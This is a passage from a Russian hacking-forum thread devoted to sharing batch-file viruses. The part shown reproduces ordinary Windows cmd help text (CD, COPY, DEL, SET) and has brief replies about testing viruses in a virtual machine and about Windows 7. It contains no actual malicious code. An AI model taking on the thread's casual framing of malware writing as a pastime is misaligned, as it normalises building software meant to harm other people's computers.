подставляется значение этой переменной. Строка %CMDEXTVERSION% будет развернута в строку, представляющую собой текущее значение CMDEXTVERSION, за исключением ситуации, когда уже имеется переменная среды с именем CMDEXTVERSION; в подобном случае подставляется значение этой переменной. 4. Вывод имени либо смена текущего каталога. CHDIR [/D] [диск:][путь] CHDIR [..] CD [/D] [диск:][путь] CD [..] .. обозначает переход в родительский каталог. Команда CD диск: отображает имя текущего каталога указанного диска. Команда CD без параметров отображает имена текущих диска и каталога. Параметр /D используется для одновременной смены текущих диска и каталога. Изменение команды CHDIR при включении расширенной обработки команд: Имя текущего каталога в строке вызова преобразуется к тому же регистру символов, что и для существующих имен на диске. Так, команда CD C:\TEMP на самом деле сделает текущим каталог C:\Temp, если он существует на диске. Команда CHDIR перестает рассматривать пробелы как разделители, что позволяет перейти в подкаталог, имя которого содержит пробелы, не заключая все имя каталога в кавычки. Например: cd \winnt\profiles\username\programs\start menu приводит к тому же результату, что и: cd "\winnt\profiles\username\programs\start menu" При отключении расширенной обработки команд используется только второй вариант. 5. Копирование одного или нескольких файлов в другое место. COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B] источник [/A | /B] [+ источник [/A | /B] [+ ...]] [результат [/A | /B]] источник Имена одного или нескольких копируемых файлов. /A Файл является текстовым файлом ASCII. /B Файл является двоичным файлом. /D Указывает на возможность создания зашифрованного файла результат Каталог и/или имя для конечных файлов. /V Проверка правильности копирования файлов. /N Использование, если возможно, коротких имен при копировании файлов, чьи имена не удовлетворяют стандарту 8.3. /Y Подавление запроса подтверждения на перезапись существующего конечного файла. /-Y Обязательный запрос подтверждения на перезапись существующего конечного файла. /Z Копирование сетевых файлов с возобновлением. Ключ /Y можно установить через переменную среды COPYCMD. Ключ /-Y командной строки переопределяет такую установку. По умолчанию требуется подтверждение, если только команда COPY не выполняется в пакетном файле. Чтобы объединить файлы, укажите один конечный и несколько исходных файлов, используя подстановочные знаки или формат "файл1+файл2+файл3+...". 6. Удаление одного или нескольких файлов. DEL [/P] [/F] [/S] [/Q] [/A[[:]атрибуты]] имена ERASE [/P] [/F] [/S] [/Q] [/A[[:]атрибуты]] имена имена Имена одного или нескольких файлов. Для удаления сразу нескольких файлов используются подстановочные знаки. Если указан каталог, из него будут удалены все файлы. /P Запрос на подтверждение перед удалением каждого файла. /F Принудительное удаление файлов, доступных только для чтения. /S Удаление указанных файлов из всех подкаталогов. /Q Отключение запроса на подтверждение при удалении файлов. /A Отбор файлов для удаления по атрибутам. атрибуты S Системные файлы R Доступные только для чтения H Скрытые файлы A Файлы для архивирования Префикс "-" имеет значение НЕ Изменение команд DEL и ERASE при включении расширенной обработки команд: Результаты вывода для ключа /S принимают обратный характер, то есть выводятся только имена удаленных файлов, а не файлов, которые не удалось найти. 7. Вывод, задание и удаление переменных среды cmd.exe. SET [переменная=[строка]] переменная Имя переменной среды. строка Строка символов, присваиваемая указанной переменной. Введите SET без параметров для вывода текущих переменных среды. Изменение команды SET при включении расширенной обработки команд: Если при вызове указать только имя переменной без знака равенства и значения, команда SET выведет значения всех переменных, имя которых начинается с указанной строки. Например: SET P Эта команда выведет значения всех переменных, имена которых начинаются с 'P'. Если имя переменной не найдено в текущей среде, при возврате команда SET установит значение ошибки ERRORLEVEL 1. Команда SET не допускает использование знака равенства в имени переменной среды. Команда SET поддерживает два дополнительных ключа: SET /A выражение SET /P variable=[promptString] Ключ /A указывает, что строка справа от знака равенства является числовым выражением, значение которого вычисляется. Обработчик выражений очень прост и поддерживает следующие операции, перечисленные в порядке убывания приоритета: () - группировка ! ~ - - унарные операторы * / % - арифметические операторы + - - арифметические операторы &lt;&lt; &gt;&gt; - двоичный сдвиг & - двоичное И ^ - двоичное исключающее ИЛИ | - двоичное ИЛИ = *= /= %= += -= - присвоение &= ^= |= &lt;&lt;= &gt;&gt;= , - разделитель операторов При использовании любых логических или двоичных операторов необходимо заключить строку выражения в кавычки. Любые нечисловые строки в выражении рассматриваются как имена переменных среды, значения которых преобразуются в числовой вид перед использованием. Если переменная с указанным именем не определена в системе, вместо нее подставляется нулевое значение. Это позволяет выполнять арифметические операции со значениями переменных среды, причем не нужно вводить знаки % для получения значений. Если команда SET /A вызывается из командной строки, а не из пакетного файла, она выводит окончательное значение выражения. Слева от любого оператора присваивания должно стоять имя переменной среды. Числовые значения рассматриваются как десятичные, если перед ними не стоит префикс 0x для шестнадцатеричных чисел, и 0 для восьмеричных чисел. Например, числа 0x12, и 022 обозначают десятичное число 18. Обратите внимание на запись восьмеричных числе: 08 и 09 не являются допустимыми числами, так как в восьмеричной системе исчисления цифры 8 и 9 не используются. Ключ /P позволяет установить значение переменной для входной строки, введенной пользователем. Показывает указанное приглашение promptString перед чтением введенной строки. Приглашение promptString может быть пустым. Подстановка переменной среды может быть расширена следующим образом: %PATH:str1=str2% расширит действие переменной среды PATH, заменяя каждое вхождение "str1" в расширенном результате на "str2". "str2" может быть пустой строкой для эффективного удаления вхождений "str1" из расширенного вывода. "str1" может начинаться со звездочки, и в этом случае это будет соответствовать любому началу расширенного вывода до первого вхождения оставшейся части "str1". Можно также использовать строки расширения. %PATH:~10,5% расширит действие переменной среды PATH, затем использует только 5 символов, которые начинаются с 11-го символа (пропустив 10) расширенного результата. Если длина не указана, по умолчанию используется оставшееся значение переменной. Если оба значения (длина и число пропускаемых символов) отрицательны, следующим используемым значением будет длина значения переменной среды, добавленной к указанному значению пропуска или указанной длины. %PATH:~-10% извлечет последние 10 символов переменной PATH. %PATH:~0,-2% извлечет все символы переменной PATH, за исключением 2-х последних. Наконец, добавлена поддержка связывания времени выполнения для переменных среды окружения. По умолчанию эта поддержка отключена. Ключ /V командной строки CMD.EXE позволяет включать и выключать ее. Для вызова справки, наберите CMD /? Связывание времени выполнения для переменных среды окружения полезно при обходе ограничений раннего связывания, которое происходит при первом чтении текстовой строки, а не при ее выполнении. Следующий пример демонстрирует возникающую проблему при использовании раннего связывания переменных: set VAR=before if "%VAR%" == "before" ( set VAR=after if "%VAR%" == "after" @echo Тело внутреннего оператора сравнения ) Данное сообщение не будет выводиться, т.к. %VAR% в ОБОИХ выражениях IF подставляется в момент первого использования в первом IF, в том числе и в тело первого ветвления IF, которое является составным выражением. В IF внутри составного выражения в действительности сравниваются значения "before" и "after", что заведомо ложно. Следующий пример демонстрирует подобную ошибку: set LIST= for %i in (*) do set LIST=%LIST% %i echo %LIST% в данном случае список файлов текущей папки никогда не будет построен. Вместо этого, значением переменной LIST будет имя последнего найденного файла. И вновь, это случилось потому, что %LIST% подставляется всего один раз - в момент обработки выражения FOR, когда список еще пуст. Фактически, приведенный фрагмент эквивалентен следующему примеру: for %i in (*) do set LIST= %i в котором имя последнего найденного файла сохраняется в переменной LIST. Связывание времени выполнения для переменных среды окружения происходит при использовании специального символа (восклицательного знака), обозначающего проведение сопоставления во время выполнения. Если включена поддержка связывания времени выполнения, то для достижения ожидаемых результатов приведенные выше фрагменты должны быть изменены следующим образом: set VAR=before if "%VAR%" == "before" ( set VAR=after if "!VAR!" == "after" @echo Тело внутреннего оператора сравнения ) set LIST= for %i in (*) do set LIST=!LIST! %i echo %LIST% При включенной расширенной обработке команд доступны несколько переменных среды, которые не отображаются в списке, отображаемом при вызове команды SET. Значения этих переменных вычисляются динамически каждый раз при их извлечении. Если пользователь явно задает переменные с одним из этих имен, то это определение перекрывает соответствующее динамическое определение, описанное ниже: %CD% - раскрывается в строку текущей директории. %DATE% - раскрывается в текущую дату, используя тот же формат команды DATE. %TIME% - раскрывается в текущую дату, используя формат команды TIME. %RANDOM% - раскрывается в случайное десятичное число между 0 и 32767. %ERRORLEVEL% - раскрывается в текущее значение ERRORLEVEL %CMDEXTVERSION% - раскрывается в текущее значение версии расширенной обработки команд. %CMDCMDLINE% - раскрывается в исходную командную строку, которая вызвала командный процессор.
Команда help - выводит список команд с неполным описанием

Подробное описание команды можно получить так:
<команда> /?
или
help <команда>
Post #: 114
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-18 17:12:10.010000   
montex

Сообщений: 2
Оценки: 0
Присоединился: 2010-05-18 16:36:48.333333
скажите безопасно, ли проверка(запуск) вирусов на виртуальной машине для основной ОС ????
Спасибо!
Post #: 115
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-18 19:29:32.786666   
sbk

Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
Смотря какие вирусы вы собираетесь запускать. Но по идее должно быть безопасно.
Post #: 116
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-18 19:35:38.720000   
montex

Сообщений: 2
Оценки: 0
Присоединился: 2010-05-18 16:36:48.333333
quote:

Смотря какие вирусы вы собираетесь запускать. Но по идее должно быть безопасно.


в теме bat , их и буду пробовать , вот только "Но по идее должно быть безопасно" мне не нравится)…
Post #: 117
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-18 19:52:46.260000   
sbk

Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
Ну если бат - то безопасно. т.к. батом много не сделаешь.
Post #: 118
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-20 19:58:10.626666   
Zmaster

Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000

quote:

ORIGINAL: sbk
Ну если бат - то безопасно. т.к. батом много не сделаешь.

Имеешь чувство юмора :D
Post #: 119
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-20 20:45:18.540000   
Kemerover

Сообщений: 1
Оценки: 0
Присоединился: 2010-05-20 20:30:22.873333
Люди, а почему вот в win7 ничего не работает? Это защита от дибилов или всё из-за того, что 64-разрядная винда?
Post #: 120
Страниц:  1 2 [3] 4 5 6
Все форумы >> [Прочее] >> RE: Пишем сюда свои *.BAt-вирусы







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.